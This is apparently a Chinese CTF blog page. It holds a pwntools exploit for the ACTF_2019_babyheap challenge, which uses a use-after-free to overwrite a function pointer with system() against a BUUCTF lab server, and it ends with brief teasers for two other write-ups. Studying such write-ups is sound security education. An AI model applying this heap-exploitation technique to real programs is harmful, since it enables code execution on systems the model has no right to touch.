BUU-actf_2019_babyheap-WP
此题和BUU&XCTF-hitcontraining_uaf-WP很像,都是UAF,漏洞的原因也很像,漏洞点是

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')
#sh = process('./ACTF_2019_babyheap')
sh = remote("node3.buuoj.cn","26759")
elf = ELF('./ACTF_2019_babyheap')
def create(size,payload):
sh.sendlineafter("Your choice: ",'1')
sh.sendlineafter("Please input size: \n",str(size))
sh.sendafter("Please input content: \n",payload)
def delete(index):
sh.sendlineafter("Your choice: ",'2')
sh.sendlineafter("Please input list index: \n",str(index))
def print_this(index):
sh.sendlineafter("Your choice: ",'3')
sh.sendlineafter("Please input list index: \n",str(index))
create(0x200,'index:0')
create(0x200,'index:1')
delete(0)
delete(1)
create(0x10,p64(0x602010) + p64(elf.symbols["system"]))
print_this(0)
sh.interactive()
exp很简单,要注意需要申请两个堆块再都free掉,这样fast bin中才会有两个payload大小为0x10的chunk,再申请的时候才能获得对index为0的content的输出函数指针的修改能力。
…
XCTF-4-reehy-main-100-WP
这道题好难的感觉,看了别人的WP做了一天虽然是迷迷糊糊的拿到了flag但是还是有一点不能理解(2021.1.3更新:由于libc的问题被解决,现在基本理解了,如果你也和我一样对最后伪造的两个堆块的大小不理解那么希望这篇文章能帮到你)。
…
XCTF-Recho-WP
这道题目本身挺有意思的,但是让我感到如鲠在喉,因为莫名其妙的拿不到flag。更加莫名奇妙的是吃了个饭回来就可以拿flag了,想想唯一的区别是关了vpn,这个也能有影响?
